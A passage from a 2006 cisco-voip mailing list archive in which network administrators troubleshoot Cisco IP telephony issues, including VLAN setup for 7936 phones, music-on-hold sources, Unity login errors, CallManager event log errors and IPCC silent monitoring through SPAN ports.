>
> On 2/18/06, Justin Steinberg <jsteinberg at gmail.com> wrote:
> > I'd be interested to see what's on the phone screen.  Try to get a
> > screenshot via:
> >
> > http://<phone ip>/CGI/Screenshot
> >
> > You'll be prompted for credentials for a DC directory user who is
> > associated with your phone's MAC.  Of course, if your phone can not
> > communicate with the authentication URL this won't work.
> >
> > Or as Mike said, you could just ask the Maid what's on the phone screen.
> >
> > Justin
> >
>
>
> --
> Ed Leatherman
> IP Telephony Coordinator
> West Virginia University
> Telecommunications and Network Operations


From Scott.Voll at wesd.org  Tue Feb 21 11:49:41 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Tue Feb 21 11:49:49 2006
Subject: [cisco-voip] 7936 DHCP issue
Message-ID: <D713462ED535184D830F6F6301753E7E01BE1664@VISHNU.wesd.org>

Dido

 

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Lelio Fulgenzi
Sent: Tuesday, February 21, 2006 8:48 AM
To: Mike Armstrong; cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] 7936 DHCP issue

 

We to use our 7935/7936 with trunk ports and move them around from place
to place. No problem at all.

 

------------------------------------------------------------------------
--------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
"I had a coffee and Coke at lunch today...and now, I've got more jitter
than an
IP phone on a long haul 10base2 connection"
LFJ

	----- Original Message ----- 

	From: Mike Armstrong <mailto:mfa at crec.ifas.ufl.edu>  

	To: cisco-voip at puck.nether.net 

	Sent: Tuesday, February 21, 2006 11:26 AM

	Subject: Re: [cisco-voip] 7936 DHCP issue

	 

	Odd.  (Of course, I haven't read the documentation...)  On our
2900 and 3500 
	switches we configure the switchports as trunks, specifying the
voice and 
	native VLANs; on the 3750s we identify the voice VLAN and an
access VLAN for 
	the non-voice stuff.  7935, 7936 and 7910 (all without switches)
work fine 
	on both.  As I understood it, the phone identifies itself as
such (via CDP) 
	at startup, and the switch associates it with the voice VLAN.
I'll read the 
	docs and sniff these on startup when I get a spare moment
(hah!).
	
	Mike
	> Date: Tue, 21 Feb 2006 07:55:30 -0500
	> From: "Matt Slaga \(US\)" <Matt.Slaga at us.didata.com>
	> Subject: RE: [cisco-voip] 7936 DHCP issue
	> To: "Mike Armstrong" <mfa at ufl.edu>,
<cisco-voip at puck.nether.net>,
	> <voipermike at gmail.com>
	> Message-ID:
	>
<C1FE15183DA37645BC0633BC604E44F0F4D9DF at USNAEXCH.na.didata.local>
	> Content-Type: text/plain; charset="us-ascii"
	>
	> Jonathon hit it on the head earlier.
	>
	> On all of our installs, we hard code the port for 7935/36s and
ata-186s
	> to the voice vlan.  If you read the Cisco documentation, it
specifies
	> this.  There is no switch in these devices, hence it will not
understand
	> vlan tagging.
	>
	> Matt
	
	_______________________________________________
	cisco-voip mailing list
	cisco-voip at puck.nether.net
	https://puck.nether.net/mailman/listinfo/cisco-voip

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From rratliff at cisco.com  Tue Feb 21 11:57:52 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Tue Feb 21 11:57:47 2006
Subject: [cisco-voip] Music on Hold
In-Reply-To: <5d093f9a0602210741h2ae9fff7w1b373654e1e60d30@mail.gmail.com>
References: <FDEEDC07A7DA6E41BCB819487E7C85AE6D6D58@CSEXCH01.charles-stanley.co.uk>
	<94a1afde0602210529y79b01471h8b6420f0908ce5b5@mail.gmail.com>
	<5d093f9a0602210741h2ae9fff7w1b373654e1e60d30@mail.gmail.com>
Message-ID: <CB238722-89BD-4E37-A063-119ACDB0B525@cisco.com>

Yup, it is the same "trick" you use to get multicast MOH from the  
flash of a router at a wan-connected site.  CM tells the phone what  
multicast source to listen to.  The phone doesn't care what the  
originator of the source is.

-Ryan

On Feb 21, 2006, at 10:41 AM, Jonathan Charles wrote:

Trick how?

I guess you could specify a Multicast source and use a PC to stream  
to the address...


J

On 2/21/06, Ed Leatherman < ealeatherman at gmail.com> wrote:Hi James,

CallManager will let you configure up to 50 MoH audio sources plus 1  
fixed audio source. So you could easily have 15 different ones for  
your different device pools - as long as they are pre-recorded I  
suppose.

You can get around those constraints by using multicast and kinda  
tricking callmanager a little.

Ed

On 2/21/06, James Dust < james.dust at charles-stanley.co.uk> wrote:
We currently only have one Music on hold audio source for our call  
manager cluster which every device pool is using.

We have been asked to find out if it is possible to have a different  
music on hold audio source for every device pool of which we  
currently have 15.

Has anyone else had this running and is there a limit on how many you  
can have?

James Dust
Network & Communications
Charles Stanley & Co.
25 Luke Street, London EC2A 4AR
Tel: 020-7953 2314 - Fax: 020-7150 9314
www.charles-stanley.co.uk




************************************************************************ 
***********************

The information contained in this e-mail is strictly confidential,  
some or all
of which may be legally privileged. It is for the intended recipient  
only.
Access to this e-mail by any other person is prohibited. If you are  
not the
intended recipient, any use, disclosure, copying, printing,  
distribution of,
replying to or any action taken or omitted to be taken in reliance on  
this
e-mail, is prohibited and may be unlawful. Please contact the sender  
immediately
should this e-mail have been incorrectly addressed or transmitted.

You accept that any instructions are deemed to have been given at the  
time the
recipient(s) accesses them and that delivery receipt does not constitute
acknowledgement or receipt by the intended recipient(s). You accept  
that there
may be a delay in processing the instructions received from e-mails  
after
Charles Stanley has received them. You are advised that urgent, time  
sensitive
and confidential communications should not be sent by e-mail.

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************ 
************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of  
Charles Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member  
of the
London Stock Exchange, International Securities Markets Association,  
and The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by  
McAfee
VirusScan and SurfControl Email Filter software.

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip





-- 
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip



_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From jkassel at weci.net  Tue Feb 21 12:09:02 2006
From: jkassel at weci.net (Jevin Kasselman)
Date: Tue Feb 21 12:09:09 2006
Subject: [cisco-voip] Unity Question
Message-ID: <1935D0272E1DFB4388B793A6B98561481C876D@dr-evil.weci.net>

Greetings,

I am trying to log on to unity from my local machine and am getting this
error message:

Missing live session flag.
For some reason, /web/global.asa did not fire.
Check that this file is present.
This problem could also be related to DNS issues.
Cannot continue.

I have cleared all my temp files and cookies and still get nothing.  I
have seen this issue come across the board before but can not remember
how to resolve it.

Thanks in advance,

Jevin 

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From ealeatherman at gmail.com  Tue Feb 21 12:25:14 2006
From: ealeatherman at gmail.com (Ed Leatherman)
Date: Tue Feb 21 12:25:17 2006
Subject: [cisco-voip] Unity Question
In-Reply-To: <1935D0272E1DFB4388B793A6B98561481C876D@dr-evil.weci.net>
References: <1935D0272E1DFB4388B793A6B98561481C876D@dr-evil.weci.net>
Message-ID: <94a1afde0602210925v25b7a0aene546d4afac0ea8b2@mail.gmail.com>

Maybe try to restart the IIS service and see if that clears the problem?

On 2/21/06, Jevin Kasselman <jkassel at weci.net> wrote:
>
> Greetings,
>
> I am trying to log on to unity from my local machine and am getting thiserror message:
>
> Missing live session flag.
> For some reason, /web/global.asa did not fire.
> Check that this file is present.
> This problem could also be related to DNS issues.
> Cannot continue.
>
> I have cleared all my temp files and cookies and still get nothing.  I
> have seen this issue come across the board before but can not remember how
> to resolve it.
>
> Thanks in advance,
>
> Jevin
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>


--
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations
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From Brian.Henry at apptis.com  Tue Feb 21 12:29:03 2006
From: Brian.Henry at apptis.com (Brian Henry)
Date: Tue Feb 21 12:29:56 2006
Subject: [cisco-voip] Unity Question
Message-ID: <2F09B2162CCDEA4EA05C089B24FBC2BC028380C3@CH-EXCH-02.intelltech.apptis.inc>

Are you typing in the url manually? or are you using a Favorites to get to it? I would bet the latter?
 
Brian

________________________________

From: cisco-voip-bounces at puck.nether.net on behalf of Jevin Kasselman
Sent: Tue 2/21/2006 12:09 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Unity Question



Greetings,

I am trying to log on to unity from my local machine and am getting this error message:

Missing live session flag.
For some reason, /web/global.asa did not fire.
Check that this file is present.
This problem could also be related to DNS issues.
Cannot continue.

I have cleared all my temp files and cookies and still get nothing.  I have seen this issue come across the board before but can not remember how to resolve it.

Thanks in advance,

Jevin 

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From kthorngr at cisco.com  Tue Feb 21 12:44:32 2006
From: kthorngr at cisco.com (Kevin Thorngren)
Date: Tue Feb 21 12:44:21 2006
Subject: [cisco-voip] Unity Question
In-Reply-To: <2F09B2162CCDEA4EA05C089B24FBC2BC028380C3@CH-EXCH-02.intelltech.apptis.inc>
References: <2F09B2162CCDEA4EA05C089B24FBC2BC028380C3@CH-EXCH-02.intelltech.apptis.inc>
Message-ID: <040d9cbc4f4234fbee14c61847bfb8d5@cisco.com>

See if this link helps.....

http://www.cisco.com/en/US/products/sw/voicesw/ps2237/ 
products_tech_note09186a00801ba0ef.shtml#k

Kevin
On Feb 21, 2006, at 12:29 PM, Brian Henry wrote:

> Are you typing in the url manually? or are you using a Favorites to  
> get to it? I would bet the latter?
> ?
> Brian
>
> From: cisco-voip-bounces at puck.nether.net on behalf of Jevin Kasselman
> Sent: Tue 2/21/2006 12:09 PM
> To: cisco-voip at puck.nether.net
> Subject: [cisco-voip] Unity Question
>
>
> Greetings,
>
> I am trying to log on to unity from my local machine and am getting  
> this error message:
>
> Missing live session flag.
> For some reason, /web/global.asa did not fire.
> Check that this file is present.
> This problem could also be related to DNS issues.
> Cannot continue.
>
> I have cleared all my temp files and cookies and still get nothing.? I  
> have seen this issue come across the board before but can not remember  
> how to resolve it.
>
> Thanks in advance,
>
> Jevin
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
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From jgrace at digitelusa.net  Tue Feb 21 14:32:58 2006
From: jgrace at digitelusa.net (James Grace)
Date: Tue Feb 21 14:40:27 2006
Subject: [cisco-voip] ip phone over vpn will not pic up ring tone
Message-ID: <200602211439578.SM01568@3729434770>

I have a site to site vpn connect.  I have 7970 7920 and vtadvantage working
and the Home (remote site ) . but can not get the ring tone from the
ringlist.   We have a custom ring on cm at the main site 

 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 

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From Hans-Peter.Walter at tds.de  Tue Feb 21 16:45:24 2006
From: Hans-Peter.Walter at tds.de (Hans-Peter Walter)
Date: Tue Feb 21 16:41:24 2006
Subject: Antwort: Re: [cisco-voip] Remotely rebooting Phone without using
	Callmanager	(in CM not connected, but can still ping/http)
In-Reply-To: <f1b65f880602210849kccda47bgdfd746b316af9145@mail.gmail.com>
Message-ID: <OF5A40A923.48CA9F19-ONC125711C.0074C163-C125711C.0077237C@de.tds-global.com>

just a short question: where can I download the SDK?
I searched CCO, the voice-sw page and googled for it, but the only 
thing I found was documentation and release notes ;-(.





"Justin Steinberg" <jsteinberg at gmail.com> 
Gesendet von: cisco-voip-bounces at puck.nether.net
21.02.2006 17:49

An
"Ed Leatherman" <ealeatherman at gmail.com>
Kopie
cisco-voip at puck.nether.net
Thema
Re: [cisco-voip] Remotely rebooting Phone without using Callmanager (in CM 
not connected, but can still ping/http)






The IP phones SDK has an asp script that does this trick.  It's called
'screenshot' and prompts for phone ip, username, and password and
outputs the gif.

Justin

On 2/21/06, Ed Leatherman <ealeatherman at gmail.com> wrote:
> Thanks for posting this, never knew it existed. Will be very handy I 
think!
>
> Is there a way to get the web browser to display the image from a 7960
> directly? right now I had to save it as a *.cip file and load it in the
> imageviewer that came with the ip phones SDK.
>
>
> On 2/18/06, Justin Steinberg <jsteinberg at gmail.com> wrote:
> > I'd be interested to see what's on the phone screen.  Try to get a
> > screenshot via:
> >
> > http://<phone ip>/CGI/Screenshot
> >
> > You'll be prompted for credentials for a DC directory user who is
> > associated with your phone's MAC.  Of course, if your phone can not
> > communicate with the authentication URL this won't work.
> >
> > Or as Mike said, you could just ask the Maid what's on the phone 
screen.
> >
> > Justin
> >
>
>
> --
> Ed Leatherman
> IP Telephony Coordinator
> West Virginia University
> Telecommunications and Network Operations

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

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From stevechapin at hermangroup.net  Tue Feb 21 17:06:07 2006
From: stevechapin at hermangroup.net (Steve Chapin)
Date: Tue Feb 21 17:06:11 2006
Subject: [cisco-voip] Event Viewer Application Log Errors
Message-ID: <015e01c63733$0437e6b0$6c01a8c0@pcre.local>

I am experiencing Errors in my Event Log and Phone dropping.

These are the two errors that reoccur threw out the Event Log.

Any Ideas?

 

Error: MtpNoMoreResourcesAvailable - No more MTP resources available.

  App ID: Cisco CallManager

  Cluster ID: StandAloneCluster

  Node ID: 172.16.1.1

  Explanation: MTP resource is not available.

Recommended Action: Install additional MTP or transcoder resources..

 

Error: DeviceUnregistered - Device unregistered.

  Device name.: SEP0013C4EC9101

  Device IP address.: 172.16.1.20

  Device type. [Optional]: 30007

  Device description [Optional].: AGM LO-0015 7235

  Reason Code [Optional].: 8

  App ID: Cisco CallManager

  Cluster ID: StandAloneCluster

  Node ID: 172.16.1.1

Explanation: A device that has previously registered with Cisco CallManager
has unregistered. This event may be issued as part of normal unregistration
event or due to some other reason such as loss of keepalives.

Recommended Action: No action is required if unregistration of this device
was expected.

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From Matt.Slaga at us.didata.com  Tue Feb 21 17:33:39 2006
From: Matt.Slaga at us.didata.com (Matt Slaga (US))
Date: Tue Feb 21 17:34:23 2006
Subject: Antwort: Re: [cisco-voip] Remotely rebooting Phone without
	usingCallmanager	(in CM not connected, but can still ping/http)
Message-ID: <C1FE15183DA37645BC0633BC604E44F0FA34D0@USNAEXCH.na.didata.local>

Here:
 
http://www.cisco.com/cgi-bin/dev_support/access_level/product_support
 
Log in with your CCO account.

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Hans-Peter
Walter
Sent: Tuesday, February 21, 2006 4:45 PM
To: Justin Steinberg
Cc: cisco-voip-bounces at puck.nether.net; cisco-voip at puck.nether.net
Subject: Antwort: Re: [cisco-voip] Remotely rebooting Phone without
usingCallmanager (in CM not connected, but can still ping/http)



just a short question: where can I download the SDK? 
I searched CCO, the voice-sw page and googled for it, but the only 
thing I found was documentation and release notes ;-(. 





"Justin Steinberg" <jsteinberg at gmail.com> 
Gesendet von: cisco-voip-bounces at puck.nether.net 

21.02.2006 17:49 

An
"Ed Leatherman" <ealeatherman at gmail.com> 
Kopie
cisco-voip at puck.nether.net 
Thema
Re: [cisco-voip] Remotely rebooting Phone without using Callmanager
(in CM not connected, but can still ping/http)

	




The IP phones SDK has an asp script that does this trick.  It's called
'screenshot' and prompts for phone ip, username, and password and
outputs the gif.

Justin

On 2/21/06, Ed Leatherman <ealeatherman at gmail.com> wrote:
> Thanks for posting this, never knew it existed. Will be very handy I
think!
>
> Is there a way to get the web browser to display the image from a 7960
> directly? right now I had to save it as a *.cip file and load it in
the
> imageviewer that came with the ip phones SDK.
>
>
> On 2/18/06, Justin Steinberg <jsteinberg at gmail.com> wrote:
> > I'd be interested to see what's on the phone screen.  Try to get a
> > screenshot via:
> >
> > http://<phone ip>/CGI/Screenshot
> >
> > You'll be prompted for credentials for a DC directory user who is
> > associated with your phone's MAC.  Of course, if your phone can not
> > communicate with the authentication URL this won't work.
> >
> > Or as Mike said, you could just ask the Maid what's on the phone
screen.
> >
> > Justin
> >
>
>
> --
> Ed Leatherman
> IP Telephony Coordinator
> West Virginia University
> Telecommunications and Network Operations

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip





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From kthorngr at cisco.com  Tue Feb 21 20:49:26 2006
From: kthorngr at cisco.com (Kevin Thorngren)
Date: Tue Feb 21 20:49:44 2006
Subject: [cisco-voip] Event Viewer Application Log Errors
In-Reply-To: <015e01c63733$0437e6b0$6c01a8c0@pcre.local>
References: <015e01c63733$0437e6b0$6c01a8c0@pcre.local>
Message-ID: <988db22cde52c96da7e08c6e5b93b377@cisco.com>

There are no simple answers to either of these messages.

The MtpNoMoreResourcesAvailable message means that CCM tried to invoke 
a Transcoder or MTP device during a call and there wasn't one 
available.  This could be due to a Transcoder or MTP device 
unregistering, the device has used all its resources which means you 
will want to consider adding another or it could be that one of the 
devices involved in the call doesn't have the resources assigned.  
Typically this will result in the call being dropped, depending on what 
is requesting the resources.  For example, I have seen before where MoH 
is being invoked to a device across a WAN and the MoH steam needs to be 
G.729.  If G.729 has not been enabled for the MoH server and there is 
no Transcoder available then the MtpNoMoreResourcesAvailable message 
will appear but the call won't drop (you just won't hear MoH).  CCM 
traces are the best thing to look at when this occurs.

Devices will abnormally unregister to CCM due to network related issues 
or CPU issues on the Primary CCM causing missing SCCP KeepAlives.  
Again CCM traces are a good place to start.   This recent thread 
discusses initial troubleshooting steps for unregistering devices by 
looking at the "Last=" information from the phone when it registers to 
its secondary CCM.
https://puck.nether.net/pipermail/cisco-voip/2006-February/009920.html

Make sure to enable Detailed CCM traces on all nodes in the cluster.  
Then when one of these errors occurs gather the traces from that time 
frame.  If you are not familiar with the traces then maybe someone on 
this list will have time to help or you can open a TAC case to review 
the traces.

Kevin
On Feb 21, 2006, at 5:06 PM, Steve Chapin wrote:

> I am experiencing Errors in my Event Log and Phone dropping.
> These are the two errors that reoccur threw out the Event Log.
> Any Ideas?
> ?
> Error: MtpNoMoreResourcesAvailable - No more MTP resources available.
> ? App ID: Cisco CallManager
> ? Cluster ID: StandAloneCluster
> ? Node ID: 172.16.1.1
> ? Explanation: MTP resource is not available.
> Recommended Action: Install additional MTP or transcoder resources..
> ?
> Error: DeviceUnregistered - Device unregistered.
> ? Device name.: SEP0013C4EC9101
> ? Device IP address.: 172.16.1.20
> ? Device type. [Optional]: 30007
> ? Device description [Optional].: AGM LO-0015 7235
> ? Reason Code [Optional].: 8
> ? App ID: Cisco CallManager
> ? Cluster ID: StandAloneCluster
> ? Node ID: 172.16.1.1
> Explanation: A device that has previously registered with Cisco 
> CallManager has unregistered. This event may be issued as part of 
> normal unregistration event or due to some other reason such as loss 
> of keepalives.
> Recommended Action: No action is required if unregistration of this 
> device was expected.
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
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From jordyl at yahoo.com  Wed Feb 22 00:59:58 2006
From: jordyl at yahoo.com (Jordy Leung)
Date: Wed Feb 22 01:00:24 2006
Subject: [cisco-voip] IPCC VoIP Monitor
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE1659@VISHNU.wesd.org>
Message-ID: <20060222055958.69596.qmail@web32205.mail.mud.yahoo.com>

Also, not sure for IPCC Express, For IPCC Enterprise, there is list of NIC
which will be supported by IPCC.  You need to check if your agents' and
supervisors' PC are installed compliable NIC for silient monitoring.

http://www.cisco.com/en/US/products/sw/custcosw/ps1844/products_tech_note09186a00801f42f9.shtml

See if it helps you!

--- "Voll, Scott" <Scott.Voll at wesd.org> wrote:

> And VGW.
> 
>  
> 
> ________________________________
> 
> From: cisco-voip-bounces at puck.nether.net
> [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Jonathan
> Charles
> Sent: Tuesday, February 21, 2006 7:39 AM
> To: Brain Whistler
> Cc: Cisco Voip
> Subject: Re: [cisco-voip] IPCC VoIP Monitor
> 
>  
> 
> The files are 0K right?
> 
> That's because IPCC sees the call, it just isn't getting data.
> 
> You need to span all of your agents ports to the monitor port:
> 
> monitor session 1 source | destination... blah blah 
> 
> Make sure you include ALL the agent and supervisor ports.
> 
> 
> 
> Jonathan
> 
> 
> 
> 
> On 2/21/06, Brain Whistler < brainwhistler at yahoo.com
> <mailto:brainwhistler at yahoo.com> > wrote:
> 
> Hi,
> 
> I am running Cisco IPCC Express 3.5.(2) Enhanced 
> edition for contact centre with CCM 4.0.(1). This is
> installed on Dedicated machine where CRA Server, VoIP
> Monitor and Historical Reporting is co-resident. I
> have configured two nic cards as described in
> Administration guides. 
> 
> Everything is working fine but when is the Supervisor
> goes for call recording or Silient Monitor is doesn't
> work, although I can see a file created of the
> recording of 46 bytes in the folder
> 
> c:\program files\cisco\Desktop_config\Audiofiles\, but 
> nothing more than that.
> 
> Note that I have already configured the switch for
> SPAN. I have verified my configuration with IRIS
> sniffer, it is working perfectly and capturing RTP
> packets but cannot get this successful on IPCC VoIP 
> Monitor.
> 
> Can anyone help me in it, where I am failing, or does
> VoIP Monitor server need to be configured from which
> NIC to capture RTP packets.
> 
> Thanks
> Brain
> 
> 
> __________________________________________________ 
> Do You Yahoo!?
> Tired of spam?  Yahoo! Mail has the best spam protection around
> http://mail.yahoo.com
> _______________________________________________
> cisco-voip mailing list 
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 
>  
> 
> > _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 


Jordy Leung

__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 

From erickbe at yahoo.com  Wed Feb 22 01:37:01 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Wed Feb 22 01:37:18 2006
Subject: [cisco-voip] IPCC VoIP Monitor
In-Reply-To: <20060222055958.69596.qmail@web32205.mail.mud.yahoo.com>
Message-ID: <20060222063701.49637.qmail@web34309.mail.mud.yahoo.com>

I recall this list or theres another list for IPCC
Express 4.x that add endpoint monitoring from users
desktop. Before IPCC Express 4.x all monitoring needed
a span port on a switch, etc but that changed in IPCC
Express 4.x and now theres the span port method as
well as endpoint monitoring. 

--- Jordy Leung <jordyl at yahoo.com> wrote:

> Also, not sure for IPCC Express, For IPCC
> Enterprise, there is list of NIC
> which will be supported by IPCC.  You need to check
> if your agents' and
> supervisors' PC are installed compliable NIC for
> silient monitoring.
> 
>
http://www.cisco.com/en/US/products/sw/custcosw/ps1844/products_tech_note09186a00801f42f9.shtml
> 
> See if it helps you!
> 
> --- "Voll, Scott" <Scott.Voll at wesd.org> wrote:
> 
> > And VGW.
> > 
> >  
> > 
> > ________________________________
> > 
> > From: cisco-voip-bounces at puck.nether.net
> > [mailto:cisco-voip-bounces at puck.nether.net] On
> Behalf Of Jonathan
> > Charles
> > Sent: Tuesday, February 21, 2006 7:39 AM
> > To: Brain Whistler
> > Cc: Cisco Voip
> > Subject: Re: [cisco-voip] IPCC VoIP Monitor
> > 
> >  
> > 
> > The files are 0K right?
> > 
> > That's because IPCC sees the call, it just isn't
> getting data.
> > 
> > You need to span all of your agents ports to the
> monitor port:
> > 
> > monitor session 1 source | destination... blah
> blah 
> > 
> > Make sure you include ALL the agent and supervisor
> ports.
> > 
> > 
> > 
> > Jonathan
> > 
> > 
> > 
> > 
> > On 2/21/06, Brain Whistler <
> brainwhistler at yahoo.com
> > <mailto:brainwhistler at yahoo.com> > wrote:
> > 
> > Hi,
> > 
> > I am running Cisco IPCC Express 3.5.(2) Enhanced 
> > edition for contact centre with CCM 4.0.(1). This
> is
> > installed on Dedicated machine where CRA Server,
> VoIP
> > Monitor and Historical Reporting is co-resident. I
> > have configured two nic cards as described in
> > Administration guides. 
> > 
> > Everything is working fine but when is the
> Supervisor
> > goes for call recording or Silient Monitor is
> doesn't
> > work, although I can see a file created of the
> > recording of 46 bytes in the folder
> > 
> > c:\program files\cisco\Desktop_config\Audiofiles\,
> but 
> > nothing more than that.
> > 
> > Note that I have already configured the switch for
> > SPAN. I have verified my configuration with IRIS
> > sniffer, it is working perfectly and capturing RTP
> > packets but cannot get this successful on IPCC
> VoIP 
> > Monitor.
> > 
> > Can anyone help me in it, where I am failing, or
> does
> > VoIP Monitor server need to be configured from
> which
> > NIC to capture RTP packets.
> > 
> > Thanks
> > Brain
> > 
> > 
> > __________________________________________________
> 
> > Do You Yahoo!?
> > Tired of spam?  Yahoo! Mail has the best spam
> protection around
> > http://mail.yahoo.com
> > _______________________________________________
> > cisco-voip mailing list 
> > cisco-voip at puck.nether.net
> >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> > 
> >  
> > 
> > > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> > 
> 
> 
> Jordy Leung
> 
> __________________________________________________
> Do You Yahoo!?
> Tired of spam?  Yahoo! Mail has the best spam
> protection around 
> http://mail.yahoo.com 
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 

From Nick.Kassel at Charles-Stanley.co.uk  Wed Feb 22 05:10:06 2006
From: Nick.Kassel at Charles-Stanley.co.uk (Nick Kassel)
Date: Wed Feb 22 05:10:18 2006
Subject: [cisco-voip] Attendant console & shared lines
Message-ID: <253FAE7A06B11B49A3A29770B2B8BAFC64823A@CSEXCH01.charles-stanley.co.uk>

I know in the documentation is says that you must not use shared lines
with the attendant console but I have been told by someone that this can
be done, I would like to use 1 shared line in the hunt group, has anyone
tried this before and does it work?

 

 

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From brainwhistler at yahoo.com  Wed Feb 22 07:49:10 2006
From: brainwhistler at yahoo.com (Brain Whistler)
Date: Wed Feb 22 07:49:17 2006
Subject: [cisco-voip] IPCC VoIP Monitor
In-Reply-To: <20060222063701.49637.qmail@web34309.mail.mud.yahoo.com>
Message-ID: <20060222124910.66977.qmail@web37307.mail.mud.yahoo.com>

Yes, I do have license for VoIP Monitor. 

All the agents, Supervisor and both NIC of CRS server
is connected to same 2950(IOS 12.2.22 EI) switch. I
made the swith ports as source except the one where
VoIP monitor NIC is connected. I have also entered the
registry key as described in this document
 
http://www.cisco.com/en/US/products/sw/voicesw/ps556/products_tech_note09186a00801a62a8.shtml#topic7

Any help ??

Brain


--- Erick Bergquist <erickbe at yahoo.com> wrote:

> I recall this list or theres another list for IPCC
> Express 4.x that add endpoint monitoring from users
> desktop. Before IPCC Express 4.x all monitoring
> needed
> a span port on a switch, etc but that changed in
> IPCC
> Express 4.x and now theres the span port method as
> well as endpoint monitoring. 
> 
> --- Jordy Leung <jordyl at yahoo.com> wrote:
> 
> > Also, not sure for IPCC Express, For IPCC
> > Enterprise, there is list of NIC
> > which will be supported by IPCC.  You need to
> check
> > if your agents' and
> > supervisors' PC are installed compliable NIC for
> > silient monitoring.
> > 
> >
>
http://www.cisco.com/en/US/products/sw/custcosw/ps1844/products_tech_note09186a00801f42f9.shtml
> > 
> > See if it helps you!
> > 
> > --- "Voll, Scott" <Scott.Voll at wesd.org> wrote:
> > 
> > > And VGW.
> > > 
> > >  
> > > 
> > > ________________________________
> > > 
> > > From: cisco-voip-bounces at puck.nether.net
> > > [mailto:cisco-voip-bounces at puck.nether.net] On
> > Behalf Of Jonathan
> > > Charles
> > > Sent: Tuesday, February 21, 2006 7:39 AM
> > > To: Brain Whistler
> > > Cc: Cisco Voip
> > > Subject: Re: [cisco-voip] IPCC VoIP Monitor
> > > 
> > >  
> > > 
> > > The files are 0K right?
> > > 
> > > That's because IPCC sees the call, it just isn't
> > getting data.
> > > 
> > > You need to span all of your agents ports to the
> > monitor port:
> > > 
> > > monitor session 1 source | destination... blah
> > blah 
> > > 
> > > Make sure you include ALL the agent and
> supervisor
> > ports.
> > > 
> > > 
> > > 
> > > Jonathan
> > > 
> > > 
> > > 
> > > 
> > > On 2/21/06, Brain Whistler <
> > brainwhistler at yahoo.com
> > > <mailto:brainwhistler at yahoo.com> > wrote:
> > > 
> > > Hi,
> > > 
> > > I am running Cisco IPCC Express 3.5.(2) Enhanced
> 
> > > edition for contact centre with CCM 4.0.(1).
> This
> > is
> > > installed on Dedicated machine where CRA Server,
> > VoIP
> > > Monitor and Historical Reporting is co-resident.
> I
> > > have configured two nic cards as described in
> > > Administration guides. 
> > > 
> > > Everything is working fine but when is the
> > Supervisor
> > > goes for call recording or Silient Monitor is
> > doesn't
> > > work, although I can see a file created of the
> > > recording of 46 bytes in the folder
> > > 
> > > c:\program
> files\cisco\Desktop_config\Audiofiles\,
> > but 
> > > nothing more than that.
> > > 
> > > Note that I have already configured the switch
> for
> > > SPAN. I have verified my configuration with IRIS
> > > sniffer, it is working perfectly and capturing
> RTP
> > > packets but cannot get this successful on IPCC
> > VoIP 
> > > Monitor.
> > > 
> > > Can anyone help me in it, where I am failing, or
> > does
> > > VoIP Monitor server need to be configured from
> > which
> > > NIC to capture RTP packets.
> > > 
> > > Thanks
> > > Brain
> > > 
> > > 
> > >
> __________________________________________________
> > 
> > > Do You Yahoo!?
> > > Tired of spam?  Yahoo! Mail has the best spam
> > protection around
> > > http://mail.yahoo.com
> > > _______________________________________________
> > > cisco-voip mailing list 
> > > cisco-voip at puck.nether.net
> > >
> >
